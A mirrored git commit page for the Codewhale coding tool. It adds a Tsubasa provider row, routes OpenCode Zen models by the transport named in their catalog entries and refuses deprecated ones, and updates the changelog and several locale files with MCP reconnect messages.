mirror of
https://github.com/codewhale-hq/Codewhale.git
synced 2026-11-08 08:04:25 -10:00
Merge verified Tier-2 docs integration into original Tier-3 contribution
Preserve SparkofSpike original PR #6663 history and integrate final PR #6662 head 490246867e. Resolve the sole contributor-credit conflict by retaining both contributions under Unreleased, outside the existing 0.10.1 candidate.
Local integration checkpoint before bounded documentation repairs. git diff --check passed. Mandatory npm test and check:web not yet run for this merged tree; no Rust build, hosted CI, or release claim.
This commit is contained in:
commit
528b2726e7
98 files changed
+4228
-1074
No files matched your search
@@ -7,6 +7,10 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
|
||||
|
||||
## [Unreleased]
|
||||
|
||||
### Contributors
|
||||
|
||||
- **[@SparkofSpike](https://github.com/SparkofSpike)** — translated seventeen Tier-2 guides into Simplified Chinese and connected the localized documentation ([#6662](https://github.com/Hmbown/Codewhale/pull/6662)).
|
||||
|
||||
## [0.10.1] - 2026-09-28
|
||||
|
||||
The website's not-found page now uses the Codwhale poster and typo joke,
|
||||
@@ -50,6 +54,7 @@ quieter, and Fleet runs can be checked before they spend anything.
|
||||
- **[@Lstarsky0](https://github.com/Lstarsky0)** — moved the docs/work, legal, digest and FAQ pages onto the dictionary spine ([#6405](https://github.com/Hmbown/Codewhale/pull/6405), [#6417](https://github.com/Hmbown/Codewhale/pull/6417), [#6499](https://github.com/Hmbown/Codewhale/pull/6499), [#6574](https://github.com/Hmbown/Codewhale/pull/6574)), tightened the Chinese-branching ceiling to 18 ([#6403](https://github.com/Hmbown/Codewhale/pull/6403)), and made Fleet publish without a two-link window ([#6431](https://github.com/Hmbown/Codewhale/pull/6431)).
|
||||
- **[@aboimpinto](https://github.com/aboimpinto)** — restored a green Linux full-workspace test gate without loosening any test, twice ([#6581](https://github.com/Hmbown/Codewhale/pull/6581), [#6666](https://github.com/Hmbown/Codewhale/pull/6666)).
|
||||
- **[@dajiaohuang](https://github.com/dajiaohuang)** — `codewhale config set` checks a known setting's value against its schema type before saving it ([#6568](https://github.com/Hmbown/Codewhale/pull/6568)).
|
||||
- **[@cenab](https://github.com/cenab)** — requested the Tsubasa provider row and supplied its endpoint, key and model values ([#6695](https://github.com/Hmbown/Codewhale/issues/6695)).
|
||||
- **[@BX166](https://github.com/BX166)** — reported the AICraft provider row missing its key console, docs link and guidance, and supplied the values ([#6616](https://github.com/Hmbown/Codewhale/issues/6616)).
|
||||
- **[@Water-Run](https://github.com/Water-Run)** — ingested namespaced model-only catalog entries so models present only in the canonical `models` map reach the offering list ([#6400](https://github.com/Hmbown/Codewhale/pull/6400)), and retired the blanket dead-code allowance with its unused feature stages, tightening the budget to match ([#6402](https://github.com/Hmbown/Codewhale/pull/6402)).
|
||||
|
||||
@@ -110,6 +115,11 @@ quieter, and Fleet runs can be checked before they spend anything.
|
||||
Computer Use bundle
|
||||
([#6562](https://github.com/Hmbown/Codewhale/issues/6562),
|
||||
[#6509](https://github.com/Hmbown/Codewhale/issues/6509)).
|
||||
- Tsubasa is a bundled OpenAI-compatible provider row: base
|
||||
`https://api.tsubasa.sh/v1`, key `TSUBASA_API_KEY`, model `tsubasa-pro`
|
||||
(also `tsubasa-fast`). Its window is 32,768 tokens; set
|
||||
`providers.tsubasa.context_window` to match
|
||||
([#6695](https://github.com/Hmbown/Codewhale/issues/6695), thanks @cenab).
|
||||
|
||||
### Security
|
||||
|
||||
|
||||
@@ -102,6 +102,17 @@
|
||||
"meituan-sensenova",
|
||||
"meituan-sensenova-cn"
|
||||
]
|
||||
},
|
||||
{
|
||||
"id": "tsubasa",
|
||||
"label": "Tsubasa",
|
||||
"wire": "openai-compatible",
|
||||
"base_url": "https://api.tsubasa.sh/v1",
|
||||
"api_key_env": "TSUBASA_API_KEY",
|
||||
"default_model": "tsubasa-pro",
|
||||
"discovery": "models_endpoint",
|
||||
"docs_url": "https://tsubasa.sh/docs",
|
||||
"guidance": "OpenAI-compatible host (Chat Completions + GET /v1/models only). Public model ids: tsubasa-pro and tsubasa-fast, both with a 32,768-token context, so set context_window = 32768 on [providers.tsubasa]. Store TSUBASA_API_KEY, not a raw key."
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -398,11 +398,30 @@ fn offerings_from_models_dev(
|
||||
if !model.supports_text_chat() {
|
||||
continue;
|
||||
}
|
||||
// OpenCode Zen is model-aware: its catalog names each model's AI
|
||||
// SDK package, which is the wire (#6705). Every other provider's
|
||||
// endpoint key stays the Chat placeholder its fixed policy ignores.
|
||||
// A deprecated Zen row stays visible but is not a route: Zen no
|
||||
// longer serves it, so sending it would be a guaranteed upstream
|
||||
// failure instead of a local refusal that names the reason.
|
||||
let endpoint_key = if route_id != crate::ProviderKind::OpencodeZen.as_str() {
|
||||
"chat"
|
||||
} else if model.is_deprecated() {
|
||||
crate::route::OPENCODE_ZEN_DEPRECATED_ENDPOINT_KEY
|
||||
} else {
|
||||
crate::route::opencode_zen_endpoint_key_for_npm(
|
||||
model
|
||||
.provider
|
||||
.as_ref()
|
||||
.and_then(|transport| transport.npm.as_deref())
|
||||
.or(provider.npm.as_deref()),
|
||||
)
|
||||
};
|
||||
out.push(CatalogOffering {
|
||||
provider: provider_id.clone(),
|
||||
wire_model_id: wire_model_id.to_string(),
|
||||
canonical_model: model.base_model.clone(),
|
||||
endpoint_key: "chat".to_string(),
|
||||
endpoint_key: endpoint_key.to_string(),
|
||||
default_for_provider: model.default_for_provider,
|
||||
family: model.family.clone(),
|
||||
limit: model.limit.clone(),
|
||||
@@ -436,6 +455,10 @@ fn offerings_from_models_dev(
|
||||
continue;
|
||||
}
|
||||
let provider = normalized(provider_key);
|
||||
// A canonical fact names no transport, and Zen's wire is per model.
|
||||
if provider == crate::ProviderKind::OpencodeZen.as_str() {
|
||||
continue;
|
||||
}
|
||||
if !provider_rows.insert((provider.clone(), wire_model_id.to_string())) {
|
||||
continue;
|
||||
}
|
||||
|
||||
@@ -153,6 +153,26 @@ mod tests {
|
||||
}
|
||||
}
|
||||
|
||||
/// #6695: Tsubasa is a data row on the existing compatible transport with
|
||||
/// its own key env. The row carries no context field, so the guidance is
|
||||
/// where the 32K window and the second public model id reach the user.
|
||||
#[test]
|
||||
fn tsubasa_is_a_compatible_row_with_its_own_key() {
|
||||
let tsubasa = provider_descriptor("tsubasa").expect("tsubasa");
|
||||
assert_eq!(tsubasa.wire, DescriptorWire::OpenaiCompatible);
|
||||
assert_eq!(tsubasa.base_url, "https://api.tsubasa.sh/v1");
|
||||
assert_eq!(tsubasa.api_key_env, "TSUBASA_API_KEY");
|
||||
assert_eq!(tsubasa.default_model, "tsubasa-pro");
|
||||
let guidance = tsubasa.guidance.as_deref().expect("tsubasa guidance");
|
||||
for needle in [
|
||||
"tsubasa-fast",
|
||||
"context_window = 32768",
|
||||
"Store TSUBASA_API_KEY",
|
||||
] {
|
||||
assert!(guidance.contains(needle), "{needle}: {guidance}");
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn descriptors_do_not_embed_model_rosters() {
|
||||
let raw = DESCRIPTORS_JSON;
|
||||
|
||||
@@ -310,6 +310,25 @@ pub struct ModelsDevProviderModel {
|
||||
/// Interleaved reasoning field hints.
|
||||
#[serde(default)]
|
||||
pub interleaved: Option<ModelsDevInterleaved>,
|
||||
/// Per-model override of the provider's transport (`provider.npm`), used
|
||||
/// when a gateway serves some models over a different wire than its
|
||||
/// provider-level `npm` default (OpenCode Zen, #6705).
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
pub provider: Option<ModelsDevModelTransport>,
|
||||
/// Lifecycle marker such as `deprecated` or `beta`; absent for current
|
||||
/// rows. A model-aware gateway's deprecated row is not a routable wire
|
||||
/// fact (#6705).
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
pub status: Option<String>,
|
||||
}
|
||||
|
||||
/// A Models.dev model row's `provider` override: the AI SDK package that
|
||||
/// serves this model when it differs from the provider default.
|
||||
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize, Default)]
|
||||
pub struct ModelsDevModelTransport {
|
||||
/// AI SDK package identifier, such as `@ai-sdk/anthropic`.
|
||||
#[serde(default)]
|
||||
pub npm: Option<String>,
|
||||
}
|
||||
|
||||
impl ModelsDevProviderModel {
|
||||
@@ -318,6 +337,14 @@ impl ModelsDevProviderModel {
|
||||
pub fn supports_text_chat(&self) -> bool {
|
||||
supports_text_chat(self.modalities.as_ref())
|
||||
}
|
||||
|
||||
/// True when the catalog marks this offering `deprecated`.
|
||||
#[must_use]
|
||||
pub fn is_deprecated(&self) -> bool {
|
||||
self.status
|
||||
.as_deref()
|
||||
.is_some_and(|status| status.trim().eq_ignore_ascii_case("deprecated"))
|
||||
}
|
||||
}
|
||||
|
||||
/// Provider row from Models.dev.
|
||||
|
||||
@@ -57,11 +57,33 @@ impl fmt::Display for RouteError {
|
||||
provider,
|
||||
model,
|
||||
endpoint_key,
|
||||
} => write!(
|
||||
f,
|
||||
"model {model:?} on provider {} has unsupported or unproven endpoint {endpoint_key:?}",
|
||||
provider.as_str()
|
||||
),
|
||||
} => {
|
||||
write!(
|
||||
f,
|
||||
"model {model:?} on provider {} has unsupported or unproven endpoint {endpoint_key:?}",
|
||||
provider.as_str()
|
||||
)?;
|
||||
// #6705: say which case this is, so a catalog Codewhale has not
|
||||
// caught up with does not read as a broken install. The
|
||||
// refresh remedy belongs to callers whose resolver actually
|
||||
// reads the refreshed catalog, so it is not stated here.
|
||||
match endpoint_key.as_str() {
|
||||
"unproven" => write!(
|
||||
f,
|
||||
": no catalog Codewhale has loaded proves this model's wire protocol. \
|
||||
Reach it through a `kind = \"openai-compatible\"` provider with an \
|
||||
explicit `wire`"
|
||||
),
|
||||
super::OPENCODE_ZEN_DEPRECATED_ENDPOINT_KEY => write!(
|
||||
f,
|
||||
": the provider's catalog marks this model deprecated; choose a current model"
|
||||
),
|
||||
_ => write!(
|
||||
f,
|
||||
": the provider serves this model over a protocol Codewhale does not speak"
|
||||
),
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -59,8 +59,9 @@ pub use export::{
|
||||
};
|
||||
pub use ids::{LogicalModelRef, ModelId, NamespaceHint, ProviderId, RouteId, WireModelId};
|
||||
pub use offering::{
|
||||
CODEWHALE_FALLBACK_MODELS, ProviderModelOffering, RouteLimits, bundled_offerings,
|
||||
codewhale_endpoint_key_for_model, opencode_zen_picker_models,
|
||||
CODEWHALE_FALLBACK_MODELS, OPENCODE_ZEN_DEPRECATED_ENDPOINT_KEY, ProviderModelOffering,
|
||||
RouteLimits, bundled_offerings, codewhale_endpoint_key_for_model,
|
||||
opencode_zen_endpoint_key_for_npm, opencode_zen_picker_models,
|
||||
};
|
||||
pub use policy::{CatalogPolicy, PolicyAction, PolicyEffect, PolicyRule};
|
||||
pub use resolver::{RouteRequest, RouteResolver};
|
||||
|
||||
@@ -74,9 +74,6 @@ pub struct ProviderModelOffering {
|
||||
pub pricing: PricingSku,
|
||||
}
|
||||
|
||||
// Transport snapshot verified against https://opencode.ai/docs/zen on
|
||||
// 2026-07-17. Gemini rows are intentionally absent because they use Google's
|
||||
// model-specific wire protocol, which CodeWhale does not currently implement.
|
||||
/// Token Plan text models (Text Generation / Reasoning, coding scope).
|
||||
///
|
||||
/// Available on both Token Plan Personal and Team. The same model set is also
|
||||
@@ -104,7 +101,22 @@ const MODELSTUDIO_TEXT_MODELS: &[&str] = &[
|
||||
"glm-5.2",
|
||||
];
|
||||
|
||||
// OpenCode Zen transport snapshot, refreshed 2026-09-28 (#6705) against the
|
||||
// endpoint table at https://opencode.ai/docs/zen and the `opencode` provider
|
||||
// in https://models.dev/catalog.json, whose per-model `provider.npm` names the
|
||||
// AI SDK package (and so the wire) OpenCode itself uses. The two sources agree
|
||||
// row for row. This list is only the offline floor: a Models.dev snapshot
|
||||
// carries the same fact for models released after this build (see
|
||||
// `opencode_zen_endpoint_key_for_npm`), so a new Zen model routes without a
|
||||
// Codewhale release once the catalog knows it.
|
||||
//
|
||||
// Gemini (`/models/{id}`, Google's generateContent wire) and Jev
|
||||
// (`/systemone`) are deliberately absent: Codewhale speaks neither protocol,
|
||||
// so those models fail closed with their endpoint named.
|
||||
pub(crate) const OPENCODE_ZEN_RESPONSES_MODELS: &[&str] = &[
|
||||
"gpt-6-astra",
|
||||
"gpt-6-sol",
|
||||
"gpt-6-luna",
|
||||
"gpt-5.6-sol",
|
||||
"gpt-5.6-terra",
|
||||
"gpt-5.6-luna",
|
||||
@@ -125,23 +137,39 @@ pub(crate) const OPENCODE_ZEN_RESPONSES_MODELS: &[&str] = &[
|
||||
"gpt-5",
|
||||
"gpt-5-codex",
|
||||
"gpt-5-nano",
|
||||
// Zen serves Grok over Responses (`@ai-sdk/openai`); snapshots before
|
||||
// 2026-09-28 listed grok-4.5 and grok-build-0.1 under Chat Completions.
|
||||
"grok-4.7",
|
||||
"grok-4.6",
|
||||
"grok-4.5",
|
||||
"grok-build-0.1",
|
||||
// Muse Spark via OpenCode Zen gateway — Responses-only (reported
|
||||
// 2026-08-29: muse-spark-1.2-contributor-free rejects Chat Completions).
|
||||
"muse-spark-1.3",
|
||||
"muse-spark-1.3-contributor-free",
|
||||
"muse-spark-1.2",
|
||||
"muse-spark-1.2-contributor",
|
||||
"muse-spark-1.2-contributor-free",
|
||||
];
|
||||
|
||||
pub(crate) const OPENCODE_ZEN_MESSAGES_MODELS: &[&str] = &[
|
||||
"claude-fable-5-1",
|
||||
"claude-fable-5",
|
||||
"claude-opus-5-5",
|
||||
"claude-opus-5",
|
||||
"claude-opus-4-8",
|
||||
"claude-opus-4-7",
|
||||
"claude-opus-4-6",
|
||||
"claude-opus-4-5",
|
||||
// claude-sonnet-5-5 and claude-sonnet-4 are on Zen's live `/models` and
|
||||
// Models.dev lists both as `@ai-sdk/anthropic`; the docs table omits them.
|
||||
"claude-sonnet-5-5",
|
||||
"claude-sonnet-5",
|
||||
"claude-sonnet-4-6",
|
||||
"claude-sonnet-4-5",
|
||||
"claude-sonnet-4",
|
||||
"claude-haiku-4-5",
|
||||
"qwen3.8-flash",
|
||||
"qwen3.7-max",
|
||||
"qwen3.7-plus",
|
||||
"qwen3.6-plus",
|
||||
@@ -149,30 +177,63 @@ pub(crate) const OPENCODE_ZEN_MESSAGES_MODELS: &[&str] = &[
|
||||
];
|
||||
|
||||
pub(crate) const OPENCODE_ZEN_CHAT_MODELS: &[&str] = &[
|
||||
"deepseek-v4.1-flash",
|
||||
"deepseek-v4-pro",
|
||||
"deepseek-v4-flash",
|
||||
"deepseek-v4-flash-vision-exp",
|
||||
"minimax-m3",
|
||||
"minimax-m2.7",
|
||||
"minimax-m2.5",
|
||||
// glm-5.3 is deliberately absent (2026-08-03): this snapshot tracks the
|
||||
// official OpenCode Zen endpoint table, which lists no glm-5.3 row. Zen
|
||||
// fails closed on unknown models by design; registering a route Zen does
|
||||
// not serve would convert that into a guaranteed upstream 404.
|
||||
// Zen's endpoint table lists glm-5.3 and glm-5.3-flash as of 2026-09-28.
|
||||
"glm-5.3-flash",
|
||||
"glm-5.3",
|
||||
"glm-5.2",
|
||||
"glm-5.1",
|
||||
"glm-5",
|
||||
"kimi-k2.5",
|
||||
"kimi-k2.6",
|
||||
"kimi-k3",
|
||||
"kimi-k2.7-code",
|
||||
"grok-4.5",
|
||||
"grok-build-0.1",
|
||||
"kimi-k2.6",
|
||||
"kimi-k2.5",
|
||||
// Unlike its Qwen siblings, qwen3.8-max is served over Chat Completions.
|
||||
"qwen3.8-max",
|
||||
"big-pickle",
|
||||
"space-bunny-free",
|
||||
"longcat-2.5-preview-free",
|
||||
"mimo-v2.6-flash-free",
|
||||
"mimo-v2.5-free",
|
||||
"ling-3.0-flash-fin-free",
|
||||
"north-mini-code-free",
|
||||
"nemotron-3-ultra-free",
|
||||
"nemotron-3.5-lightning-free",
|
||||
"deepseek-v4-flash-free",
|
||||
];
|
||||
|
||||
/// Endpoint key for a Zen catalog row Models.dev marks `deprecated`. It names
|
||||
/// no protocol, so the resolver refuses the model locally with this reason
|
||||
/// instead of sending a request Zen no longer serves.
|
||||
pub const OPENCODE_ZEN_DEPRECATED_ENDPOINT_KEY: &str = "deprecated";
|
||||
|
||||
/// Endpoint key OpenCode Zen serves a model on, from the AI SDK package
|
||||
/// OpenCode's own catalog names for it.
|
||||
///
|
||||
/// Models.dev's `opencode` provider is Zen's published catalog: its provider
|
||||
/// default is `@ai-sdk/openai-compatible`, and a model served over another
|
||||
/// wire overrides that with `provider.npm`. The package is the wire fact, so it
|
||||
/// is mapped exactly and never guessed from a model-id family, which does not
|
||||
/// hold on Zen (qwen3.8-flash is Messages while qwen3.8-max is Chat). Google's
|
||||
/// package maps to `"google"` and any other to `"unproven"`; neither resolves
|
||||
/// to a protocol, so the resolver fails closed and names the endpoint.
|
||||
#[must_use]
|
||||
pub fn opencode_zen_endpoint_key_for_npm(npm: Option<&str>) -> &'static str {
|
||||
match npm.map(str::trim) {
|
||||
Some("@ai-sdk/openai") => "responses",
|
||||
Some("@ai-sdk/anthropic") => "messages",
|
||||
Some("@ai-sdk/openai-compatible") => "chat",
|
||||
Some("@ai-sdk/google") => "google",
|
||||
_ => "unproven",
|
||||
}
|
||||
}
|
||||
|
||||
/// Logical default plus every documented Zen wire id, for picker fallbacks
|
||||
/// when Models.dev is stale or failed. `gpt-5.6` is the user-facing default;
|
||||
/// `gpt-5.6-sol` is the proven Responses wire id.
|
||||
|
||||
@@ -1550,6 +1550,68 @@ fn opencode_zen_resolver_fails_closed_for_unproven_protocols() {
|
||||
}
|
||||
}
|
||||
|
||||
/// #6705: a Zen model newer than this build routes on the wire its Models.dev
|
||||
/// catalog row names; the catalog's Google and deprecated rows and ids it
|
||||
/// never lists still fail closed, with the endpoint named.
|
||||
#[test]
|
||||
fn opencode_zen_routes_models_dev_rows_on_their_declared_wire() {
|
||||
let raw = r#"{
|
||||
"providers": {
|
||||
"opencode": {
|
||||
"id": "opencode",
|
||||
"npm": "@ai-sdk/openai-compatible",
|
||||
"models": {
|
||||
"gpt-9-nova": { "id": "gpt-9-nova", "provider": { "npm": "@ai-sdk/openai" } },
|
||||
"claude-opus-9": { "id": "claude-opus-9", "provider": { "npm": "@ai-sdk/anthropic" } },
|
||||
"moon-rabbit-free": { "id": "moon-rabbit-free" },
|
||||
"gemini-9-flash": { "id": "gemini-9-flash", "provider": { "npm": "@ai-sdk/google" } },
|
||||
"odd-sdk-model": { "id": "odd-sdk-model", "provider": { "npm": "@ai-sdk/unknown" } },
|
||||
"claude-2-retired": {
|
||||
"id": "claude-2-retired",
|
||||
"status": "deprecated",
|
||||
"provider": { "npm": "@ai-sdk/anthropic" }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}"#;
|
||||
let catalog = ModelsDevCatalog::parse_json(raw).expect("fixture parses");
|
||||
let mut offerings: Vec<_> = crate::catalog::live_offerings_from_models_dev(&catalog, 1)
|
||||
.iter()
|
||||
.map(crate::catalog::CatalogOffering::to_offering)
|
||||
.collect();
|
||||
offerings.extend(super::bundled_offerings());
|
||||
let resolver = RouteResolver::from_offerings(offerings);
|
||||
|
||||
for (model, protocol) in [
|
||||
("gpt-9-nova", RequestProtocol::Responses),
|
||||
("opencode/claude-opus-9", RequestProtocol::AnthropicMessages),
|
||||
("moon-rabbit-free", RequestProtocol::ChatCompletions),
|
||||
// A curated-only row still routes beside the catalog's rows.
|
||||
("gpt-5.6-sol", RequestProtocol::Responses),
|
||||
] {
|
||||
let route = resolver
|
||||
.resolve(&req(Some(ProviderKind::OpencodeZen), Some(model)))
|
||||
.unwrap_or_else(|error| panic!("{model} should resolve: {error}"));
|
||||
assert_eq!(route.protocol(), protocol, "{model}");
|
||||
}
|
||||
|
||||
for (model, endpoint) in [
|
||||
("gemini-9-flash", "google"),
|
||||
("odd-sdk-model", "unproven"),
|
||||
("never-listed", "unproven"),
|
||||
// Deprecated rows stay in the catalog but are not routes.
|
||||
("claude-2-retired", "deprecated"),
|
||||
] {
|
||||
match resolver.resolve(&req(Some(ProviderKind::OpencodeZen), Some(model))) {
|
||||
Err(RouteError::UnsupportedModelProtocol { endpoint_key, .. }) => {
|
||||
assert_eq!(endpoint_key, endpoint, "{model}");
|
||||
}
|
||||
other => panic!("{model} must fail closed, got {other:?}"),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn resolver_deepseek_none_selector_uses_default_wire_id() {
|
||||
let r = RouteResolver::new();
|
||||
|
||||
@@ -101,6 +101,7 @@
|
||||
"ExtensionsStateInapplicable": "no aplicable",
|
||||
"ExtensionsStateInvalid": "no vàlid",
|
||||
"ExtensionsStateNotInspected": "no inspeccionat",
|
||||
"ExtensionsStateDisconnected": "desconnectat",
|
||||
"ExtensionsStateRejected": "rebutjat",
|
||||
"ExtensionsStateReviewedCandidate": "candidat revisat",
|
||||
"ExtensionsStateUnderEvaluation": "en avaluació",
|
||||
@@ -2386,7 +2387,11 @@
|
||||
"McpShowCachedWhileTurnRuns": "Hi ha un torn en curs; es mostra l'última instantània MCP coneguda. Torna a executar /mcp quan acabi el torn per a una actualització en directe.",
|
||||
"McpShowUnavailableWhileTurnRuns": "Hi ha un torn en curs i encara no s'ha observat cap instantània MCP. Torna a executar /mcp quan acabi el torn.",
|
||||
"McpLivePoolRefreshDeferredWhileTurnRuns": "Hi ha un torn en curs; l'actualització del pool MCP en directe queda ajornada. Executa /mcp reload quan acabi el torn.",
|
||||
"McpRetryDeferredWhileTurnRuns": "Hi ha un torn en curs; torna a executar /mcp retry {server} quan acabi el torn.",
|
||||
"McpRetryDeferredWhileTurnRuns": "Hi ha un torn en curs; {server} es reconnectarà tan bon punt acabi.",
|
||||
"McpRetryStarted": "S'està connectant {server}…",
|
||||
"McpRetryConnected": "{server} connectat: {tools} eina/es.",
|
||||
"McpRetryNeedsLogin": "{server} necessita iniciar sessió: executa {command}.",
|
||||
"McpRetryFailed": "{server} no s'ha connectat: {error}",
|
||||
"ExtensionsActionDisable": "desactiva",
|
||||
"ExtensionsActionReview": "revisa",
|
||||
"ExtensionsActionRemove": "elimina",
|
||||
|
||||
@@ -101,6 +101,7 @@
|
||||
"ExtensionsStateInapplicable": "nicht anwendbar",
|
||||
"ExtensionsStateInvalid": "ungültig",
|
||||
"ExtensionsStateNotInspected": "nicht geprüft",
|
||||
"ExtensionsStateDisconnected": "getrennt",
|
||||
"ExtensionsStateRejected": "abgelehnt",
|
||||
"ExtensionsStateReviewedCandidate": "geprüfter Kandidat",
|
||||
"ExtensionsStateUnderEvaluation": "wird geprüft",
|
||||
@@ -2386,7 +2387,11 @@
|
||||
"McpShowCachedWhileTurnRuns": "Ein Turn läuft; angezeigt wird der zuletzt bekannte MCP-Snapshot. Führe /mcp nach dem Turn erneut aus, um live zu aktualisieren.",
|
||||
"McpShowUnavailableWhileTurnRuns": "Ein Turn läuft und es wurde noch kein MCP-Snapshot beobachtet. Führe /mcp nach dem Turn erneut aus.",
|
||||
"McpLivePoolRefreshDeferredWhileTurnRuns": "Ein Turn läuft; die Aktualisierung des Live-MCP-Pools ist zurückgestellt. Führe /mcp reload nach dem Turn aus.",
|
||||
"McpRetryDeferredWhileTurnRuns": "Ein Turn läuft; führe /mcp retry {server} nach dem Turn erneut aus.",
|
||||
"McpRetryDeferredWhileTurnRuns": "Ein Turn läuft; {server} wird verbunden, sobald er fertig ist.",
|
||||
"McpRetryStarted": "{server} wird verbunden…",
|
||||
"McpRetryConnected": "{server} verbunden: {tools} Tool(s).",
|
||||
"McpRetryNeedsLogin": "{server} braucht eine Anmeldung: führe {command} aus.",
|
||||
"McpRetryFailed": "{server} konnte nicht verbinden: {error}",
|
||||
"ExtensionsActionDisable": "deaktivieren",
|
||||
"ExtensionsActionReview": "prüfen",
|
||||
"ExtensionsActionRemove": "entfernen",
|
||||
|
||||
@@ -101,6 +101,7 @@
|
||||
"ExtensionsStateInapplicable": "not applicable",
|
||||
"ExtensionsStateInvalid": "invalid",
|
||||
"ExtensionsStateNotInspected": "not inspected",
|
||||
"ExtensionsStateDisconnected": "disconnected",
|
||||
"ExtensionsStateRejected": "rejected",
|
||||
"ExtensionsStateReviewedCandidate": "reviewed candidate",
|
||||
"ExtensionsStateUnderEvaluation": "under evaluation",
|
||||
@@ -2254,7 +2255,7 @@
|
||||
"LaunchMenuNewWorktree": "New worktree",
|
||||
"LaunchMenuResume": "Resume session",
|
||||
"LaunchMenuQuit": "Quit",
|
||||
"LaunchNoticeClaude": "Claude Code detected. Run /import-claude to review what can come over: MCP servers, safe settings, and permissions. Nothing is applied without your approval.",
|
||||
"LaunchNoticeClaude": "Claude Code found. /import-claude to review; you approve every change.",
|
||||
"LaunchNewSession": "New session",
|
||||
"LaunchRecentHeading": "Recent",
|
||||
"LaunchHelpLine": "/help for commands · {dock} for the workbar",
|
||||
@@ -2386,7 +2387,11 @@
|
||||
"McpShowCachedWhileTurnRuns": "A turn is running; showing the last known MCP snapshot. Run /mcp again after the turn finishes for a live refresh.",
|
||||
"McpShowUnavailableWhileTurnRuns": "A turn is running and no MCP snapshot has been observed yet. Run /mcp again after the turn finishes.",
|
||||
"McpLivePoolRefreshDeferredWhileTurnRuns": "A turn is running; the live MCP pool refresh is deferred. Run /mcp reload after the turn finishes.",
|
||||
"McpRetryDeferredWhileTurnRuns": "A turn is running; run /mcp retry {server} again after the turn finishes.",
|
||||
"McpRetryDeferredWhileTurnRuns": "A turn is running; {server} will reconnect as soon as it finishes.",
|
||||
"McpRetryStarted": "Connecting {server}…",
|
||||
"McpRetryConnected": "{server} connected: {tools} tool(s).",
|
||||
"McpRetryNeedsLogin": "{server} needs a login: run {command}.",
|
||||
"McpRetryFailed": "{server} did not connect: {error}",
|
||||
"ExtensionsActionDisable": "disable",
|
||||
"ExtensionsActionReview": "review",
|
||||
"ExtensionsActionRemove": "remove",
|
||||
|
||||
@@ -101,6 +101,7 @@
|
||||
"ExtensionsStateInapplicable": "no aplicable",
|
||||
"ExtensionsStateInvalid": "inválido",
|
||||
"ExtensionsStateNotInspected": "no inspeccionado",
|
||||
"ExtensionsStateDisconnected": "desconectado",
|
||||
"ExtensionsStateRejected": "rechazado",
|
||||
"ExtensionsStateReviewedCandidate": "candidato revisado",
|
||||
"ExtensionsStateUnderEvaluation": "en evaluación",
|
||||
@@ -2386,7 +2387,11 @@
|
||||
"McpShowCachedWhileTurnRuns": "Hay un turno en curso; se muestra la última instantánea MCP conocida. Ejecuta /mcp de nuevo cuando termine el turno para actualizarla en vivo.",
|
||||
"McpShowUnavailableWhileTurnRuns": "Hay un turno en curso y aún no se ha observado ninguna instantánea MCP. Ejecuta /mcp de nuevo cuando termine el turno.",
|
||||
"McpLivePoolRefreshDeferredWhileTurnRuns": "Hay un turno en curso; la actualización del pool MCP en vivo queda aplazada. Ejecuta /mcp reload cuando termine el turno.",
|
||||
"McpRetryDeferredWhileTurnRuns": "Hay un turno en curso; vuelve a ejecutar /mcp retry {server} cuando termine el turno.",
|
||||
"McpRetryDeferredWhileTurnRuns": "Hay un turno en curso; {server} se reconectará en cuanto termine.",
|
||||
"McpRetryStarted": "Conectando {server}…",
|
||||
"McpRetryConnected": "{server} conectado: {tools} herramienta(s).",
|
||||
"McpRetryNeedsLogin": "{server} necesita iniciar sesión: ejecuta {command}.",
|
||||
"McpRetryFailed": "{server} no se conectó: {error}",
|
||||
"ExtensionsActionDisable": "deshabilitar",
|
||||
"ExtensionsActionReview": "revisar",
|
||||
"ExtensionsActionRemove": "quitar",
|
||||
|
||||
@@ -101,6 +101,7 @@
|
||||
"ExtensionsStateInapplicable": "non applicable",
|
||||
"ExtensionsStateInvalid": "invalide",
|
||||
"ExtensionsStateNotInspected": "non inspecté",
|
||||
"ExtensionsStateDisconnected": "déconnecté",
|
||||
"ExtensionsStateRejected": "rejeté",
|
||||
"ExtensionsStateReviewedCandidate": "candidat examiné",
|
||||
"ExtensionsStateUnderEvaluation": "en cours d'évaluation",
|
||||
@@ -2386,7 +2387,11 @@
|
||||
"McpShowCachedWhileTurnRuns": "Un tour est en cours ; affichage du dernier instantané MCP connu. Relancez /mcp une fois le tour terminé pour un rafraîchissement en direct.",
|
||||
"McpShowUnavailableWhileTurnRuns": "Un tour est en cours et aucun instantané MCP n'a encore été observé. Relancez /mcp une fois le tour terminé.",
|
||||
"McpLivePoolRefreshDeferredWhileTurnRuns": "Un tour est en cours ; le rafraîchissement du pool MCP en direct est différé. Lancez /mcp reload une fois le tour terminé.",
|
||||
"McpRetryDeferredWhileTurnRuns": "Un tour est en cours ; relancez /mcp retry {server} une fois le tour terminé.",
|
||||
"McpRetryDeferredWhileTurnRuns": "Un tour est en cours ; {server} se reconnectera dès qu'il sera terminé.",
|
||||
"McpRetryStarted": "Connexion à {server}…",
|
||||
"McpRetryConnected": "{server} connecté : {tools} outil(s).",
|
||||
"McpRetryNeedsLogin": "{server} demande une connexion : lancez {command}.",
|
||||
"McpRetryFailed": "{server} ne s'est pas connecté : {error}",
|
||||
"ExtensionsActionDisable": "désactiver",
|
||||
"ExtensionsActionReview": "examiner",
|
||||
"ExtensionsActionRemove": "supprimer",
|
||||
|
||||
@@ -101,6 +101,7 @@
|
||||
"ExtensionsStateInapplicable": "लागू नहीं",
|
||||
"ExtensionsStateInvalid": "अमान्य",
|
||||
"ExtensionsStateNotInspected": "जाँच नहीं हुई",
|
||||
"ExtensionsStateDisconnected": "डिस्कनेक्ट",
|
||||
"ExtensionsStateRejected": "अस्वीकृत",
|
||||
"ExtensionsStateReviewedCandidate": "समीक्षित उम्मीदवार",
|
||||
"ExtensionsStateUnderEvaluation": "मूल्यांकन जारी",
|
||||
@@ -2386,7 +2387,11 @@
|
||||
